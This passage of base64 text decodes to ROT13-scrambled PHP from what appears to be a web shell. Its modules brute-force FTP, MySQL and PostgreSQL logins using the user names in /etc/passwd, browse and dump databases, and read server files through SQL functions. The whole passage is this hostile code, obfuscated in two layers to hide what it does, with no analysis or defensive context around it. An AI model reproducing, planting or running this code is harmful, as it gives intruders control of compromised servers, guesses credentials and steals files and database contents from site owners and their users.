SB7CgkJCQkkc2MgPSBAc2djX3BiYWFycGcoJHZjLCAkY2JlZz8kY2JlZzoyMSk7CgkJCQl2cyghJHNjKSBlcmdoZWEgc255ZnI7CgkJCQkkZXJmID0gQHNnY195YnR2YSgkc2MsICR5YnR2YSwgJGNuZmYpOwoJCQkJQHNnY19weWJmcigkc2MpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9IHJ5ZnJ2cyggJF9DQkZHWydjZWJnYiddID09ICd6bGZkeScgKSB7CgkJCXNoYXBndmJhIGpmYk9laGdyU2JlcHIoJHZjLCRjYmVnLCR5YnR2YSwkY25mZikgewoJCQkJJGVyZiA9IEB6bGZkeV9wYmFhcnBnKCR2Yy4nOicuKCRjYmVnPyRjYmVnOjMzMDYpLCAkeWJ0dmEsICRjbmZmKTsKCQkJCUB6bGZkeV9weWJmcigkZXJmKTsKCQkJCWVyZ2hlYSAkZXJmOwoJCQl9CgkJfSByeWZydnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnY3RmZHknICkgewoJCQlzaGFwZ3ZiYSBqZmJPZWhnclNiZXByKCR2YywkY2JlZywkeWJ0dmEsJGNuZmYpIHsKCQkJCSRmZ2UgPSAidWJmZz0nIi4kdmMuIicgY2JlZz0nIi4kY2JlZy4iJyBoZnJlPSciLiR5YnR2YS4iJyBjbmZmamJlcT0nIi4kY25mZi4iJyBxb2FuenI9Y2JmZ3RlcmYiOwoJCQkJJGVyZiA9IEBjdF9wYmFhcnBnKCRmZ2UpOwoJCQkJQGN0X3B5YmZyKCRlcmYpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9CgkJJGZocHByZmYgPSAwOwoJCSRuZ2dyemNnZiA9IDA7CgkJJGZyZWlyZSA9IHJrY3licXIoIjoiLCAkX0NCRkdbJ2ZyZWlyZSddKTsKCQl2cygkX0NCRkdbJ2dsY3InXSA9PSAxKSB7CgkJCSRncnpjID0gQHN2eXIoJy9yZ3AvY25mZmpxJyk7CgkJCXZzKCB2Zl9uZWVubCgkZ3J6YykgKQoJCQkJc2Jlcm5wdSgkZ3J6YyBuZiAkeXZhcikgewoJCQkJCSR5dmFyID0gcmtjeWJxcigiOiIsICR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcihAJGZyZWlyZVswXSxAJGZyZWlyZVsxXSwgJHl2YXJbMF0sICR5dmFyWzBdKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJHl2YXJbMF0pLic8b2U+JzsKCQkJCQl9CgkJCQkJdnMoQCRfQ0JGR1snZXJpcmVmciddKSB7CgkJCQkJCSRnemMgPSAiIjsKCQkJCQkJc2JlKCR2PWZnZXlyYSgkeXZhclswXSktMTsgJHY+PTA7IC0tJHYpCgkJCQkJCQkkZ3pjIC49ICR5dmFyWzBdWyR2XTsKCQkJCQkJKyskbmdncnpjZ2Y7CgkJCQkJCXZzKCBqZmJPZWhnclNiZXByKEAkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkeXZhclswXSwgJGd6YykgKSB7CgkJCQkJCQkkZmhwcHJmZisrOwoJCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJGd6Yyk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJfSByeWZydnMoJF9DQkZHWydnbGNyJ10gPT0gMikgewoJCQkkZ3J6YyA9IEBzdnlyKCRfQ0JGR1sncXZwZyddKTsKCQkJdnMoIHZmX25lZW5sKCRncnpjKSApCgkJCQlzYmVybnB1KCRncnpjIG5mICR5dmFyKSB7CgkJCQkJJHl2YXIgPSBnZXZ6KCR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcigkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkX0NCRkdbJ3lidHZhJ10sICR5dmFyKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sneWJ0dmEnXSkuJzwvbz46Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyKS4nPG9lPic7CgkJCQkJfQoJCQkJfQoJCX0KCQlycHViICI8ZmNuYT5OZ2dyemNnZjo8L2ZjbmE+ICRuZ2dyemNnZiA8ZmNuYT5GaHBwcmZmOjwvZmNuYT4gJGZocHByZmY8L3F2aT48b2U+IjsKCX0KCXJwdWIgJzx1MT5PZWhncnNiZXByPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PGdub3lyPjxzYmV6IHpyZ3VicT1jYmZnPjxnZT48Z3E+PGZjbmE+R2xjcjwvZmNuYT48L2dxPicKCQkuJzxncT48ZnJ5cnBnIGFuenI9Y2ViZ2I+PGJjZ3ZiYSBpbnlocj1zZ2M+U0dDPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj16bGZkeT5abEZkeTwvYmNndmJhPjxiY2d2YmEgaW55aHI9Y3RmZHk+Q2JmZ3RlckZkeTwvYmNndmJhPjwvZnJ5cnBnPjwvZ3E+PC9nZT48Z2U+PGdxPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXAgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pLiciPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPW4gaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ24nXSkuJyI+JwoJCS4nPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cHVuZWZyZyBpbnlocj0iJy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sncHVuZWZyZyddKS4nIj4nCgkJLic8ZmNuYT5GcmVpcmU6Y2JlZzwvZmNuYT48L2dxPicKCQkuJzxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZnJlaXJlIGlueWhyPSIxMjcuMC4wLjEiPjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjxmY25hPk9laGdyIGdsY3I8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMSIgcHVycHhycT4gL3JncC9jbmZmanE8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjx5bm9yeSBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZXJpcmVmciBpbnlocj0xIHB1cnB4cnE+IGVyaXJlZnIgKHlidHZhIC0+IGF2dGJ5KTwveW5vcnk+PC9ncT48L2dlPicKCQkuJzxnZT48Z3E+PC9ncT48Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMiI+IFF2cGd2YmFuZWw8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjxnbm95ciBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjxnZT48Z3E+PGZjbmE+WWJ0dmE8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPXlidHZhIGlueWhyPSJlYmJnIj48L2dxPjwvZ2U+JwoJCS4nPGdlPjxncT48ZmNuYT5RdnBndmJhbmVsPC9mY25hPjwvZ3E+JwoJCS4nPGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1xdnBnIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKS4nY25mZmpxLnF2cCI+PC9ncT48L2dlPjwvZ25veXI+JwoJCS4nPC9ncT48L2dlPjxnZT48Z3E+PC9ncT48Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9ncT48L2dlPjwvc2Jlej48L2dub3lyPic7CglycHViICc8L3F2aT48b2U+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZHkoKSB7CglweW5mZiBRb1B5bmZmIHsKCQlpbmUgJGdsY3I7CgkJaW5lICR5dmF4OwoJCWluZSAkZXJmOwoJCXNoYXBndmJhIFFvUHluZmYoJGdsY3IpCXsKCQkJJGd1dmYtPmdsY3IgPSAkZ2xjcjsKCQl9CgkJc2hhcGd2YmEgcGJhYXJwZygkdWJmZywgJGhmcmUsICRjbmZmLCAkcW9hbnpyKXsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoICRndXZmLT55dmF4ID0gQHpsZmR5X3BiYWFycGcoJHViZmcsJGhmcmUsJGNuZmYsZ2VocikgKSBlcmdoZWEgZ2VocjsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQkkdWJmZyA9IHJrY3licXIoJzonLCAkdWJmZyk7CgkJCQkJdnMoISR1YmZnWzFdKSAkdWJmZ1sxXT01NDMyOwoJCQkJCXZzKCAkZ3V2Zi0+eXZheCA9IEBjdF9wYmFhcnBnKCJ1YmZnPXskdWJmZ1swXX0gY2JlZz17JHViZmdbMV19IGhmcmU9JGhmcmUgY25mZmpiZXE9JGNuZmYgcW9hbnpyPSRxb2FuenIiKSApIGVyZ2hlYSBnZWhyOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgZnJ5cnBncW8oJHFvKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCXZzIChAemxmZHlfZnJ5cnBnX3FvKCRxbykpZXJnaGVhIGdlaHI7CgkJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBkaHJlbCgkZmdlKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikgewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQHpsZmR5X2RocmVsKCRmZ2UpOwoJCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQGN0X2RocmVsKCRndXZmLT55dmF4LCRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgc3JncHUoKSB7CgkJCSRlcmYgPSBzaGFwX2Foel9uZXRmKCk/c2hhcF90cmdfbmV0KDApOiRndXZmLT5lcmY7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfc3JncHVfbmZmYnAoJGVyZik7CgkJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhIEBjdF9zcmdwdV9uZmZicCgkZXJmKTsKCQkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdRb2YoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgJGd1dmYtPmRocmVsKCJGVUJKIHFuZ25vbmZyZiIpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoIkZSWVJQRyBxbmdhbnpyIFNFQlogY3RfcW5nbm9uZnIgSlVSRVIgcW5ndmZncnpjeW5nciE9J2cnIik7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdHbm95cmYoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIEdOT1lSRicpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoImZyeXJwZyBnbm95cl9hbnpyIHNlYnogdmFzYmV6bmd2YmFfZnB1cnpuLmdub3lyZiBqdXJlciBnbm95cl9mcHVyem4gIT0gJ3Zhc2Jlem5ndmJhX2ZwdXJ6bicgTkFRIGdub3lyX2ZwdXJ6biAhPSAnY3RfcG5nbnlidCciKTsKCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgcmVlYmUoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfcmVlYmUoKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSBAY3RfeW5mZ19yZWViZSgpOwoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBmcmdQdW5lZnJnKCRmZ2UpIHsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6bGZkeV9mcmdfcHVuZWZyZycpKQoJCQkJCQllcmdoZWEgQHpsZmR5X2ZyZ19wdW5lZnJnKCRmZ2UsICRndXZmLT55dmF4KTsKCQkJCQlyeWZyCgkJCQkJCSRndXZmLT5kaHJlbCgnRlJHIFBVTkVGUkcgJy4kZmdlKTsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQllcmdoZWEgQGN0X2ZyZ19weXZyYWdfcmFwYnF2YXQoJGd1dmYtPnl2YXgsICRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgeWJucVN2eXIoJGZnZSkgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQllcmdoZWEgJGd1dmYtPnNyZ3B1KCRndXZmLT5kaHJlbCgiRlJZUlBHIFlCTlFfU1ZZUignIi5ucXFmeW5mdXJmKCRmZ2UpLiInKSBuZiBzdnlyIikpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJJGd1dmYtPmRocmVsKCJQRVJOR1IgR05PWVIgamZiMihzdnlyIGdya2cpO1BCQ0wgamZiMiBTRUJaICciLm5xcWZ5bmZ1cmYoJGZnZSkuIic7ZnJ5cnBnIHN2eXIgc2VieiBqZmIyOyIpOwoJCQkJCSRlPW5lZW5sKCk7CgkJCQkJanV2eXIoJHY9JGd1dmYtPnNyZ3B1KCkpCgkJCQkJCSRlW10gPSAkdlsnc3Z5ciddOwoJCQkJCSRndXZmLT5kaHJlbCgncWViYyBnbm95ciBqZmIyJyk7CgkJCQkJZXJnaGVhIG5lZW5sKCdzdnlyJz0+dnpjeWJxcigiXGEiLCRlKSk7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHFoemMoJGdub3lyLCAkc2MgPSBzbnlmcikgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQkkZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIFBFUk5HUiBHTk9ZUiBgJy4kZ25veXIuJ2AnKTsKCQkJCQkkcGVybmdyID0gemxmZHlfc3JncHVfbmVlbmwoJGVyZik7CgkJCQkJJGZkeSA9ICRwZXJuZ3JbMV0uIjtcYSI7CiAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiBgJy4kZ25veXIuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkdiA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwoJCQkJCWp1dnlyKCR2Z3J6ID0gJGd1dmYtPnNyZ3B1KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkdiAlIDEwMDAgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICI7XGFcYSI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCgkJCQkJCSRwYnloemFmID0gbmVlbmwoKTsKCQkJCQkJc2Jlcm5wdSgkdmdyeiBuZiAkeD0+JGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRpID09PSBhaHl5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICJBSFlZIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ5ZnJ2cyh2Zl92YWcoJGkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICInIi5AemxmZHlfZXJueV9yZnBuY3JfZmdldmF0KCRpKS4iJyI7CgkJCQkJCQkkcGJ5aHphZltdID0gImAiLiR4LiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICB2cygkdXJucSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSAuPSAnVkFGUkVHIFZBR0IgYCcuJGdub3lyLidgICgnLnZ6Y3licXIoIiwgIiwgJHBieWh6YWYpLiIpIElOWUhSRiBcYVxnKCIudnpjeWJxcigiLCAiLCAkdmdyeikuJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICAgICAgfSByeWZyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmR5IC49ICJcYVxnLCgiLnZ6Y3licXIoIiwgIiwgJHZncnopLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdisrOwoJCQkJCX0KICAgICAgICAgICAgICAgICAgICB2cyghJHVybnEpCiAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRzYykgc2pldmdyKCRzYywgIjtcYVxhIik7IHJ5ZnIgcnB1YigiO1xhXGEiKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiAnLiRnbm95cik7CgkJCQkJanV2eXIoJHZncnogPSAkZ3V2Zi0+c3JncHUoKSkgewoJCQkJCQkkcGJ5aHphZiA9IG5lZW5sKCk7CgkJCQkJCXNiZXJucHUoJHZncnogbmYgJHg9PiRpKSB7CgkJCQkJCQkkdmdyelskeF0gPSAiJyIubnFxZnluZnVyZigkaSkuIiciOwoJCQkJCQkJJHBieWh6YWZbXSA9ICR4OwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgICRmZHkgPSAnVkFGUkVHIFZBR0IgJy4kZ25veXIuJyAoJy52emN5YnFyKCIsICIsICRwYnloemFmKS4nKSBJTllIUkYgKCcudnpjeWJxcigiLCAiLCAkdmdyeikuJyk7Jy4iXGEiOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkc2MpIHNqZXZncigkc2MsICRmZHkpOyByeWZyIHJwdWIoJGZkeSk7CgkJCQkJfQoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCX07CgkkcW8gPSBhcmogUW9QeW5mZigkX0NCRkdbJ2dsY3InXSk7Cgl2cygoQCRfQ0JGR1snYzInXT09J3FiamF5Ym5xJykgJiYgKEAkX0NCRkdbJ2MxJ10hPSdmcnlycGcnKSkgewoJCSRxby0+cGJhYXJwZygkX0NCRkdbJ2ZkeV91YmZnJ10sICRfQ0JGR1snZmR5X3lidHZhJ10sICRfQ0JGR1snZmR5X2NuZmYnXSwgJF9DQkZHWydmZHlfb25mciddKTsKCQkkcW8tPmZyeXJwZ3FvKCRfQ0JGR1snZmR5X29uZnInXSk7CiAgICAgICAgZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CiAgICAgICAgICAgIHBuZnIgIkp2YXFiamYtMTI1MSI6ICRxby0+ZnJnUHVuZWZyZygncGMxMjUxJyk7IG9lcm54OwogICAgICAgICAgICBwbmZyICJIR1MtOCI6ICRxby0+ZnJnUHVuZWZyZygnaGdzOCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1IIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4aCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAicGM4NjYiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjODY2Jyk7IG9lcm54OwogICAgICAgIH0KICAgICAgICB2cyhyemNnbCgkX0NCRkdbJ3N2eXInXSkpIHsKICAgICAgICAgICAgYm9fZmduZWcoImJvX3RtdW5hcXlyZSIsIDQwOTYpOwogICAgICAgICAgICB1cm5xcmUoIlBiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPXFoemMuZmR5Iik7CiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhIik7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKCQkJCSRxby0+cWh6YygkaSk7CiAgICAgICAgICAgIHJrdmc7CiAgICAgICAgfSByeWZydnMoJHNjID0gQHNiY3JhKCRfQ0JGR1snc3Z5ciddLCAnaicpKSB7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKICAgICAgICAgICAgICAgICRxby0+cWh6YygkaSwgJHNjKTsKICAgICAgICAgICAgc3B5YmZyKCRzYyk7CiAgICAgICAgICAgIGhhZnJnKCRfQ0JGR1snYzInXSk7CiAgICAgICAgfSByeWZyCiAgICAgICAgICAgIHF2cignPGZwZXZjZz5ueXJlZygiUmVlYmUhIFBuYVwnZyBiY3JhIHN2eXIiKTtqdmFxYmoudXZmZ2JlbC5vbnB4KC0xKTwvZnBldmNnPicpOwoJfQoJamZiVXJucXJlKCk7CglycHViICIKPHUxPkZkeSBvZWJqZnJlPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CjxzYmV6IGFuenI9J2ZzJyB6cmd1YnE9J2NiZmcnIGJhZmhvenZnPSdzZihndXZmKTsnPjxnbm95ciBwcnl5Y25xcXZhdD0nMicgcHJ5eWZjbnB2YXQ9JzAnPjxnZT4KPGdxPkdsY3I8L2dxPjxncT5VYmZnPC9ncT48Z3E+WWJ0dmE8L2dxPjxncT5DbmZmamJlcTwvZ3E+PGdxPlFuZ25vbmZyPC9ncT48Z3E+PC9ncT48L2dlPjxnZT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9biBpbnlocj1GZHk+PHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2RocmVsJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMiBpbnlocj0nJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInPjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpIC4iJz4KPGdxPjxmcnlycGcgYW56cj0nZ2xjcic+PGJjZ3ZiYSBpbnlocj0nemxmZHknICI7CiAgICB2cyhAJF9DQkZHWydnbGNyJ109PSd6bGZkeScpcnB1YiAnZnJ5cnBncnEnOwpycHViICI+WmxGZHk8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdjdGZkeScgIjsKdnMoQCRfQ0JGR1snZ2xjciddPT0nY3RmZHknKXJwdWIgJ2ZyeXJwZ3JxJzsKcnB1YiAiPkNiZmd0ZXJGZHk8L2JjZ3ZiYT48L2ZyeXJwZz48L2dxPgo8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV91YmZnIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3ViZmcnXSk/J3licG55dWJmZyc6dWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZkeV91YmZnJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X3lidHZhIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3lidHZhJ10pPydlYmJnJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X3lidHZhJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X2NuZmYgaW55aHI9XCIiLiAocnpjZ2woJF9DQkZHWydmZHlfY25mZiddKT8nJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X2NuZmYnXSkpIC4iXCI+PC9ncT48Z3E+IjsKCSRnemMgPSAiPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV9vbmZyIGlueWhyPScnPiI7Cgl2cyh2ZmZyZygkX0NCRkdbJ2ZkeV91YmZnJ10pKXsKCQl2cygkcW8tPnBiYWFycGcoJF9DQkZHWydmZHlfdWJmZyddLCAkX0NCRkdbJ2ZkeV95YnR2YSddLCAkX0NCRkdbJ2ZkeV9jbmZmJ10sICRfQ0JGR1snZmR5X29uZnInXSkpIHsKCQkJZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CgkJCQlwbmZyICJKdmFxYmpmLTEyNTEiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjMTI1MScpOyBvZXJueDsKCQkJCXBuZnIgIkhHUy04IjogJHFvLT5mcmdQdW5lZnJnKCdoZ3M4Jyk7IG9lcm54OwoJCQkJcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKCQkJCXBuZnIgIlhCVjgtSCI6ICRxby0+ZnJnUHVuZWZyZygneGJ2OGgnKTsgb2Vybng7CgkJCQlwbmZyICJwYzg2NiI6ICRxby0+ZnJnUHVuZWZyZygncGM4NjYnKTsgb2Vybng7CgkJCX0KCQkJJHFvLT55dmZnUW9mKCk7CgkJCXJwdWIgIjxmcnlycGcgYW56cj1mZHlfb25mcj48YmNndmJhIGlueWhyPScnPjwvYmNndmJhPiI7CgkJCWp1dnlyKCR2Z3J6ID0gJHFvLT5zcmdwdSgpKSB7CgkJCQl5dmZnKCR4cmwsICRpbnlocikgPSBybnB1KCR2Z3J6KTsKCQkJCXJwdWIgJzxiY2d2YmEgaW55aHI9IicuJGlueWhyLiciICcuKCRpbnlocj09JF9DQkZHWydmZHlfb25mciddPydmcnlycGdycSc6JycpLic+Jy4kaW55aHIuJzwvYmNndmJhPic7CgkJCX0KCQkJcnB1YiAnPC9mcnlycGc+JzsKCQl9CgkJcnlmciBycHViICRnemM7Cgl9cnlmcgoJCXJwdWIgJGd6YzsKCXJwdWIgIjwvZ3E+CgkJCQk8Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+PicgYmFweXZweD0nc2YocS5mcyk7Jz48L2dxPgogICAgICAgICAgICAgICAgPGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZmR5X3BiaGFnIGlueWhyPSdiYSciIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycnOicgcHVycHhycScpIC4gIj4gcGJoYWcgZ3VyIGFoem9yZSBicyBlYmpmPC9ncT4KCQkJPC9nZT4KCQk8L2dub3lyPgoJCTxmcGV2Y2c+CiAgICAgICAgICAgIGZfcW89JyIuQG5xcWZ5bmZ1cmYoJF9DQkZHWydmZHlfb25mciddKS4iJzsKICAgICAgICAgICAgc2hhcGd2YmEgc2YocykgewogICAgICAgICAgICAgICAgdnMocy5mZHlfb25mci5pbnlociE9Zl9xbykgeyBzLmJhZmhvenZnID0gc2hhcGd2YmEoKSB7fTsKICAgICAgICAgICAgICAgICAgICB2cyhzLmMxKSBzLmMxLmlueWhyPScnOwogICAgICAgICAgICAgICAgICAgIHZzKHMuYzIpIHMuYzIuaW55aHI9Jyc7CiAgICAgICAgICAgICAgICAgICAgdnMocy5jMykgcy5jMy5pbnlocj0nJzsKICAgICAgICAgICAgICAgIH0KICAg